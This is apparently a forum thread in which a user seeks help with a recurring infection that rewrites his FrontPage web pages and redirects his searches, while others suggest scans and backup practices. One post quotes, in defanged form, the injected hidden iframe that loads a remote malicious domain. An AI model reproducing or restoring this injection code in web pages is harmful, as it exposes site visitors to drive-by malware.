[Toyman]

I for some unkonwn reason have a virus and don't know where it is coming from. I say that because well it's hard to explian.

I got this virus about 5 days ago and have had to reload windows about 7 times before this last time and before I had the chance to load any software the virus apperared.

My question is this.... could this virus have attached itself to my hard drive and remain unremovable somehow? Also I have my own front page created links page .... could it have attached itself to that? I have a second hard drive with that links page on it and loaded that right after loading windows. Could it have attached itself to my second hard drive and when i access that it unleashes this virus?

I am using the same version of windows XP that i have had for the last 7 years. So I am pretty sure it is not in that

I thought it may have attached itself to some of my software on my back up HD but this last time it appeared literally within minutes of loading windows so it can't be that? Could it be a worm that attached itself to everything in my back up drive that can run exe files?

This is a new one to me where I load windows and the virus is already there.

I need help.... looking for suggestions

Thanks

[Jason08]

The virus can get to the hard drive if the software firewall or anti-virus did not block it.

[perfume]

Dear Toyman,
You seem to have attracted a"Recycler virus". I have googled some info' and see if you can figure it out. :http://wiki.answers.com/Q/How_do_you...d_in_hard_disk

If it is not that, then another method to remove a virus is in this link.:http://www.bleepingcomputer.com/tuto...torial101.html

I Hope it helps!Best wishes.

[abkTech]

Why don't you run a complete system scan? Try any of the live CDs (link) to boot and scan the complete system. This way at least majority of the virus will get cleaned.

[Toyman]

Righht after I posted that I decided to format the entire primary HD. I am almost afraid to access my D drive until i am sure i have no viruses on this drive. What i did the first 7 times was formated the primary but NOT the extended partition..... I am thinking.... the virus was on the extended partition and this will do it..... I WONDER now if this virus could have attached it self to any of my files or software on my backup hard drive......

I read what perfume linked to and that makes sense. I will see if I wiped it out by doing a complete format of the main HD before I go on to that. This virus popped up about 5 minutes after I started surfing last time.

I did a complete suystem scan with trend micro on my computer last time and it did nothing to stop this thing.

I'll keep you updated.

Thanks for the replys

Toyman

[Toyman]

I make my own web page with links to all my favorite sites with front page and I think I found what was giving me this virus because it gave it to me again.....

This

THIS IS A VIRUS LINK minues the astericks DO NOT CLICK ON THIS.....

<ifra***me src="htt***p://jL.ch***ur***a.pl/r***c/" style="displ***ay:none"></iframe>

that is written into my code of about 10 pages I created over the last few years. All Internet explorer when i click on VIEW SOURCE


Could this be in other files like word or software or is there a good chance it just infected my pages I created?


I am going to delete these pages and recreate my links pages from scratch.

But before I do I just tried creating a new webpage and when i saved it that link shows up again...... but it's not in frontpage under the HTML.... only in the finsihed saved page under view sources...

Anyone have any advice for me?

thanks

[perfume]

The external hard drive onto which i take the backup has a seperate plug point in the switch board and it is switched off all the time. That's one reason why i mentioned else ware that incremental backups are not on for me.I run SAS Pro, MBAM, KIS2009 and Spybot everyday and an anti-rootkit not so often. Once i am sure that the pc is "clean" and not connected to the internet,do i switch open the extn.HD for virus scanning and a fresh B&R.

[Toyman]

OK, here's the update i have. Lets see if i can put this into words.

Microsoft frontpage could be the main culprit here giving me this virus by changing the code in the web pages I create with it.

I notice when i open frontpage I get this website http://jL.********chura.pl/rc/
already in the software. When I click on Inline Frame Properties that web address minus the ******* of course that web address is in the Intital Page and when i delte it out it just shows up there the next time I load it. There is probably a dll somehwre that does this i don't know.

I love frontpage and some of the pages i made with it would be hard to replace so I am looking for a way around this. I don't think a normal scan is going to fix this but what do I know.

I hate to delete all my pages I created and not use FP anymore..... is there a way to get into the registry and fix this?

I also noticve it redirects my search pages no matter which one I use..... google, bing, yahoo. I can access the search but when I click on a link it takes me tio their sites.

Thanks